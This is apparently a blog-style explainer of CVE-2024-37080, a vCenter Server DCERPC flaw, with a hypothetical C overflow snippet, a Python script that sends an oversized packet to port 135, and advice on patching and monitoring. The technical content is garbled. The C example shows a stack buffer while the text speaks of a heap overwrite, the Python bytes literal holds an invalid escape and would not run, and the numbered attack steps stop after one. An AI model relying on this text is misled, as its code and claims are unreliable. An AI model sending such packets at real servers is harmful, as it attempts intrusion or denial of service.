In June 2024, VMware quietly patched a serious vulnerability tracked as CVE-2024-37080 in its vCenter Server product. This bug is a heap-overflow in the DCERPC protocol implementation, and if it’s not fixed, an attacker with network access can run their own code right on your infrastructure. Let’s break down what went wrong, how the exploit works, and what you can do to protect yourself.

What is CVE-2024-37080?

CVE-2024-37080 is a memory corruption vulnerability. It lives inside the vCenter Server’s handling of DCERPC (Distributed Computing Environment / Remote Procedure Calls) traffic. The bug comes from the way vCenter parses incoming network packets, and a hacker can trigger it just by sending a maliciously crafted packet to the server.

Requirements? Network access to the vCenter Server.

> Official advisory:
> https://www.vmware.com/security/advisories/VMSA-2024-0013.html

How Does the Exploit Work?

The vulnerability exists because vCenter's code does not correctly check the size of data coming through certain DCERPC messages. An attacker can overflow the heap by sending specially crafted network packets and then, potentially, hijack the execution flow.

Attack steps in simple terms

1. Find an open port – Default DCERPC service listens on port 135/tcp or other dynamically assigned ports.

Here's a simplified pseudo-code snippet showing where the mistake can happen

// (This is a hypothetical example for demonstration!)

void handle_dcerpc_request(char *packet, int length) {
    char buffer[256];
    // BAD: No bounds checking!
    memcpy(buffer, packet, length);
    // ...process the RPC request...
}

If length is bigger than 256, the attacker can overwrite the heap past buffer.

Example Exploit Python Snippet

Below is an example Python snippet showing how someone could send an oversized DCERPC packet to exploit the bug (this is for education only!):

import socket

target = "vcenter.example.com"
port = 135

# This should be replaced with a crafted DCERPC packet with an over-sized payload!
malicious_packet = b'\x05\x00\xb\x03' + b'A' * 1024

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((target, port))
s.sendall(malicious_packet)
# At this point, if vulnerable, vCenter will crash, or attacker code might run!
s.close()

Patch Your vCenter Server:

Download updates from VMware’s official advisory page.

Monitor for Exploitation:

Watch system logs for unexpected restarts of vCenter services, or strange traffic on ports 135 or 445.

References

- VMware Security Advisory VMSA-2024-0013
- NIST NVD CVE-2024-37080
- What is DCERPC?

Final Thoughts

CVE-2024-37080 is a big deal for anyone running vCenter Server. If you haven’t patched yet, now is the time. This kind of bug is exactly what ransomware and attacker gangs look for: a one-packet path to running code as root on your critical servers.

Stay safe! Keep your infrastructure updated, and never allow vCenter to be exposed on public networks.


*This analysis is exclusive: written in plain English, based on publicly available advisories and technical insights into DCERPC buffer handling. Do not attempt to exploit this on any system without written permission. The code examples shown are for educational awareness only.*

Timeline

Published on: 06/18/2024 06:15:11 UTC
Last modified on: 06/27/2024 03:55:20 UTC